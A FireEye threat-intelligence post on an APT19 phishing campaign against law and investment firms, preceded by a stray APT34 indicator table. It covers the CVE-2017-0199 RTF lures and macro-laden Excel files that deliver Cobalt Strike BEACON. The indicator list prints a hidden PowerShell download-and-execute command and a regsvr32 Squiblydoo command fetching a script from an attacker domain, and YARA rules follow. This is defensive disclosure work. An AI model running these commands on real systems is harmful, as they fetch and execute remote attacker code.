Table 2: APT34 Endpoint Indicators from this blog post

Network Indicators

hxxp[://]www[.]cam-research-ac[.]com

offlineearthquake[.]com

c[.]cdn-edge-akamai[.]com

185[.]15[.]247[.]154

Acknowledgements

A huge thanks to Delyan Vasilev and Alex Lanstein for their efforts in detecting, analyzing and classifying this APT34 campaign. Thanks to Matt Williams, Carlos Garcia and Matt Haigh from the FLARE team for the in-depth malware analysis.

Privileges and Credentials: Phished at the Request of Counsel

Summary

In May and June 2017, FireEye observed a phishing campaign targeting at least seven global law and investment firms. We have associated this campaign with APT19, a group that we assess is composed of freelancers, with some degree of sponsorship by the Chinese government.

APT19 used three different techniques to attempt to compromise targets. In early May, the phishing lures leveraged RTF attachments that exploited the Microsoft Windows vulnerability described in CVE 2017-0199. Toward the end of May, APT19 switched to using macro-enabled Microsoft Excel (XLSM) documents. In the most recent versions, APT19 added an application whitelisting bypass to the XLSM documents. At least one observed phishing lure delivered a Cobalt Strike payload.

As of the writing of this blog post, FireEye had not observed post-exploitation activity by the threat actors, so we cannot assess the goal of the campaign. We have previously observed APT19 steal data from law and investment firms for competitive economic purposes.

This purpose of this blog post is to inform law firms and investment firms of this phishing campaign and provide technical indicators that their IT personnel can use for proactive hunting and detection.

The Emails

APT19 phishing emails from this campaign originated from sender email accounts from the "@cloudsend[.]net" domain and used a variety of subjects and attachment names. Refer to the Indicators of Compromise section for more details.

The Attachments

APT19 leveraged Rich Text Format (RTF) and macro-enabled Microsoft Excel (XLSM) files to deliver their initial exploits. The following sections describe the two methods in further detail.

RTF Attachments

Through the exploitation of the HTA handler vulnerability described in CVE-2017-1099, the observed RTF attachments download hxxp://tk-in-f156.2bunny[.]com/Agreement.doc. Unfortunately, this file was no longer hosted at tk-in-f156.2bunny[.]com for further analysis. Figure 1 is a screenshot of a packet capture showing one of the RTF files reaching out to hxxp://tk-in-f156.2bunny[.]com/Agreement.doc.

Figure 1: RTF PCAP

XLSM Attachments

The XLSM attachments contained multiple worksheets with content that reflected the attachment name. The attachments also contained an image that requested the user to “Enable Content”, which would enable macro support if it was disabled. Figure 2 provides a screenshot of one of the XLSM files (MD5:30f149479c02b741e897cdb9ecd22da7).

Figure 2: Enable macros

One of the malicious XLSM attachments that we observed contained a macro that:

  1. Determined the system architecture to select the correct path for PowerShell
  2. Launched a ZLIB compressed and Base64 encoded command with PowerShell. This is a typical technique used by Meterpreter stagers.

Figure 3 depicts the macro embedded within the XLSM file (MD5: 38125a991efc6ab02f7134db0ebe21b6).

Figure 3: XLSX Macro

Figure 4 contains the decoded output of the encoded text.

Figure 4: Decoded ZLIB + Base64 payload

The shellcode invokes PowerShell to issue a HTTP GET request for a random four (4) character URI on the root of autodiscovery[.]2bunny[.]com. The requests contain minimal HTTP headers since the PowerShell command is executed with mostly default parameters. Figure 5 depicts an HTTP GET request generated by the payload, with minimal HTTP headers.

Figure 5: GET Request with minimal HTTP headers

Converting the shellcode to ASCII and removing the non-printable characters provides a quick way to pull out network-based indicators (NBI) from the shellcode. Figure 6 shows the extracted NBIs.

Figure 6: Decoded shellcode

FireEye also identified an alternate macro in some of the XLSM documents, displayed in Figure 7.

Figure 7: Alternate macro

This macro uses Casey Smith’s “Squiblydoo” Application Whitelisting bypass technique to run the command in Figure 8.

Figure 8: Application Whitelisting Bypass

The command in Figure 8 downloads and launches code within an SCT file. The SCT file in the payload (MD5: 1554d6fe12830ae57284b389a1132d65) contained the code shown in Figure 9.

Figure 9: SCT contents

Figure 10 provides the decoded script. Notice the “$DoIt” string, which is usually indicative of a Cobalt Strike payload.

Figure 10: Decoded SCT contents

A quick conversion of the contents of the variable “$var_code” from Base64 to ASCII shows some familiar network indicators, shown in Figure 11.

Figure 11: $var_code to ASCII

Second Stage Payload

Once the XLSM launches its PowerShell command, it downloads a typical Cobalt Strike BEACON payload, configured with the following parameters:

  • Process Inject Targets:
    • %windir%\syswow64\rundll32.exe
    • %windir%\sysnative\rundll32.exe
  • c2_user_agents
    • Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts; IE0006_ver1;EN_GB)
  • Named Pipes
    • \\%s\pipe\msagent_%x
  • beacon_interval
    • 60
  • C2
    • autodiscover.2bunny[.]com/submit.php
    • autodiscover.2bunny[.]com/IE9CompatViewList.xml
    • sfo02s01-in-f2.cloudsend[.]net/submit.php
    • sfo02s01-in-f2.cloudsend[.]net/IE9CompatViewList.xml
  • C2 Port
    • TCP/80

Figure 12 depicts an example of a BEACON C2 attempt from this payload.

Figure 12: Cobalt Strike BEACON C2

FireEye Product Detections

The following FireEye products currently detect and block the methods described above. Table 1 lists the current detection and blocking capabilities by product.

Detection Name

Product

Action

Notes

SUSPICIOUS POWERSHELL USAGE (METHODOLOGY)

HX

Detect

XSLM Macro launch

Gen:Variant.Application.HackTool.CobaltStrike.1

HX

Detect

XSLM Macro launch

Malware Object

HX

Detect

BEACON written to disk

Backdoor.BEACON

NX

Block*

BEACON Callback

FE_Malformed_RTF

EX/ETP/NX

Block*

RTF

Malware.Binary.rtf

EX/ETP/NX

Block*

RTF

Malware.Binary

EX/ETP/NX

Block*

RTF

Malware.Binary.xlsx

EX/ETP/NX

Block*

XSLM

Table 1: Detection review

*Appliances must be configured for block mode.

Recommendations

FireEye recommends organizations perform the following steps to mitigate the risk of this campaign:

  1. Microsoft Office users should apply the patch from Microsoft as soon as possible, if they have not already installed it.
  2. Search historic and future emails that match the included indicators of compromise.
  3. Review web proxy logs for connections to the included network based indicators of compromise.
  4. Block connections to the included fully qualified domain names.
  5. Review endpoints for the included host based indicators of compromise.

Indicators of Compromise

The following section provides the IOCs for the variants of the phishing emails and malicious payloads that FireEye has observed during this campaign.

Email Senders
  • PressReader <infodept@cloudsend[.]net>
  • Angela Suh <angela.suh@cloudsend[.]net>
  • Ashley Safronoff <ashley.safronoff@cloudsend[.]net>
  • Lindsey Hersh <lindsey.hersh@cloudsend[.]net>
  • Sarah Roberto sarah.roberto@cloudsend[.]net
  • noreply@cloudsend[.]net
Email Subject Lines
  • Macron Denies Authenticity Of Leak, French Prosecutors Open Probe
  • Macron Document Leaker Releases New Images, Promises More Information
  • Are Emmanuel Macron's Tax Evasion Documents Real?
  • Time Allocation
  • Vacancy Report
  • china paper table and graph
  • results with zeros – some ready not all finished
  • Macron Leaks contain secret plans for the islamisation of France and Europe
Attachment Names
  • Macron_Authenticity.doc.rtf
  • Macron_Information.doc.rtf
  • US and EU Trade with China and China CA.xlsm
  • Tables 4 5 7 Appendix with zeros.xlsm
  • Project Codes - 05.30.17.xlsm
  • Weekly Vacancy Status Report 5-30-15.xlsm
  • Macron_Tax_Evasion.doc.rtf
  • Macron_secret_plans.doc.rtf
Network Based Indicators (NBI)
  • lyncdiscover.2bunny[.]com
  • autodiscover.2bunny[.]com
  • lyncdiscover.2bunny[.]com:443/Autodiscover/AutodiscoverService/
  • lyncdiscover.2bunny[.]com/Autodiscover
  • autodiscover.2bunny[.]com/K5om
  • sfo02s01-in-f2.cloudsend[.]net/submit.php
  • sfo02s01-in-f2.cloudsend[.]net/IE9CompatViewList.xml
  • tk-in-f156.2bunny[.]com
  • tk-in-f156.2bunny[.]com/Agreement.doc
  • 104.236.77[.]169
  • 138.68.45[.]9
  • 162.243.143[.]145
  • Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts; IE0006_ver1;EN_GB)
  • tf-in-f167.2bunny[.]com:443 (*Only seen in VT not ITW)
Host Based Indicators (HBI)

RTF MD5 hash values

  • 0bef39d0e10b1edfe77617f494d733a8
  • 0e6da59f10e1c4685bb5b35a30fc8fb6
  • cebd0e9e05749665d893e78c452607e2

XLSX MD5 hash values

  • 38125a991efc6ab02f7134db0ebe21b6
  • 3a1dca21bfe72368f2dd46eb4d9b48c4
  • 30f149479c02b741e897cdb9ecd22da7

BEACON and Meterpreter payload MD5 hash values

  • bae0b39197a1ac9e24bdf9a9483b18ea
  • 1151619d06a461456b310096db6bc548

Process arguments, named pipes, and file paths

  • powershell.exe -NoP -NonI -W Hidden -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String("<base64 blob>")
  • regsvr32.exe /s /n /u /i:hxxps://lyncdiscover.2bunny.com/Autodiscover scrobj.dll
  • \\<ip>\pipe\msagent_<4 digits>
  • C:\Documents and Settings\<user>\Local Settings\Temp\K5om.dll (4 character DLL based on URI of original GET request)
Yara Rules

rule FE_LEGALSTRIKE_MACRO {
       meta:version=".1"
       filetype="MACRO"
       author="Ian.Ahl@fireeye.com @TekDefense"
       date="2017-06-02"
       description="This rule is designed to identify macros with the specific encoding used in the sample 30f149479c02b741e897cdb9ecd22da7."
strings:
       // OBSFUCATION
       $ob1 = "ChrW(114) & ChrW(101) & ChrW(103) & ChrW(115) & ChrW(118) & ChrW(114) & ChrW(51) & ChrW(50) & ChrW(46) & ChrW(101)" ascii wide
       $ob2 = "ChrW(120) & ChrW(101) & ChrW(32) & ChrW(47) & ChrW(115) & ChrW(32) & ChrW(47) & ChrW(110) & ChrW(32) & ChrW(47)" ascii wide
       $ob3 = "ChrW(117) & ChrW(32) & ChrW(47) & ChrW(105) & ChrW(58) & ChrW(104) & ChrW(116) & ChrW(116) & ChrW(112) & ChrW(115)" ascii wide
       $ob4 = "ChrW(58) & ChrW(47) & ChrW(47) & ChrW(108) & ChrW(121) & ChrW(110) & ChrW(99) & ChrW(100) & ChrW(105) & ChrW(115)" ascii wide
       $ob5 = "ChrW(99) & ChrW(111) & ChrW(118) & ChrW(101) & ChrW(114) & ChrW(46) & ChrW(50) & ChrW(98) & ChrW(117) & ChrW(110)" ascii wide
       $ob6 = "ChrW(110) & ChrW(121) & ChrW(46) & ChrW(99) & ChrW(111) & ChrW(109) & ChrW(47) & ChrW(65) & ChrW(117) & ChrW(116)" ascii wide
       $ob7 = "ChrW(111) & ChrW(100) & ChrW(105) & ChrW(115) & ChrW(99) & ChrW(111) & ChrW(118) & ChrW(101) & ChrW(114) & ChrW(32)" ascii wide
       $ob8 = "ChrW(115) & ChrW(99) & ChrW(114) & ChrW(111) & ChrW(98) & ChrW(106) & ChrW(46) & ChrW(100) & ChrW(108) & ChrW(108)" ascii wide
       $obreg1 = /(\w{5}\s&\s){7}\w{5}/
       $obreg2 = /(Chrw\(\d{1,3}\)\s&\s){7}/
       // wscript
       $wsobj1 = "Set Obj = CreateObject(\"WScript.Shell\")" ascii wide
       $wsobj2 = "Obj.Run " ascii wide

condition:
        (
              (
                      (uint16(0) != 0x5A4D)
              )
              and
              (
                      all of ($wsobj*) and 3 of ($ob*)
                      or
                      all of ($wsobj*) and all of ($obreg*)
              )
       )
}

 

rule FE_LEGALSTRIKE_MACRO_2 {
       meta:version=".1"
       filetype="MACRO"
       author="Ian.Ahl@fireeye.com @TekDefense"
       date="2017-06-02"
       description="This rule was written to hit on specific variables and powershell command fragments as seen in the macro found in the XLSX file3a1dca21bfe72368f2dd46eb4d9b48c4."
strings:
       // Setting the environment
       $env1 = "Arch = Environ(\"PROCESSOR_ARCHITECTURE\")" ascii wide
       $env2 = "windir = Environ(\"windir\")" ascii wide
       $env3 = "windir + \"\\syswow64\\windowspowershell\\v1.0\\powershell.exe\"" ascii wide
       // powershell command fragments
       $ps1 = "-NoP" ascii wide
       $ps2 = "-NonI" ascii wide
       $ps3 = "-W Hidden" ascii wide
       $ps4 = "-Command" ascii wide
       $ps5 = "New-Object IO.StreamReader" ascii wide
       $ps6 = "IO.Compression.DeflateStream" ascii wide
       $ps7 = "IO.MemoryStream" ascii wide
       $ps8 = ",$([Convert]::FromBase64String" ascii wide
       $ps9 = "ReadToEnd();" ascii wide
       $psregex1 = /\W\w+\s+\s\".+\"/
condition:
       (
              (
                      (uint16(0) != 0x5A4D)
              )
              and
              (
                      all of ($env*) and 6 of ($ps*)
                      or
                      all of ($env*) and 4 of ($ps*) and all of ($psregex*)
              )
       )
}

 

rule FE_LEGALSTRIKE_RTF {
    meta:
        version=".1"
        filetype="MACRO"
        author="joshua.kim@FireEye.com"
        date="2017-06-02"
        description="Rtf Phishing Campaign leveraging the CVE 2017-0199 exploit, to point to the domain 2bunnyDOTcom"

    strings:
        $header = "{\\rt"

        $lnkinfo = "4c0069006e006b0049006e0066006f"

        $encoded1 = "4f4c45324c696e6b"
        $encoded2 = "52006f006f007400200045006e007400720079"
        $encoded3 = "4f0062006a0049006e0066006f"
        $encoded4 = "4f006c0065"

        $http1 = "68{"
        $http2 = "74{"
        $http3 = "07{"

        // 2bunny.com
        $domain1 = "32{\\"
        $domain2 = "62{\\"
        $domain3 = "75{\\"
        $domain4 = "6e{\\"
        $domain5 = "79{\\"
        $domain6 = "2e{\\"
        $domain7 = "63{\\"
        $domain8 = "6f{\\"
        $domain9 = "6d{\\"

        $datastore = "\\*\\datastore"

    condition:
        $header at 0 and all of them
}

Acknowledgements

Joshua Kim, Nick Carr, Gerry Stellatos, Charles Carmakal, TJ Dahms, Nick Richard, Barry Vengerik, Justin Prosco, Christopher Glyer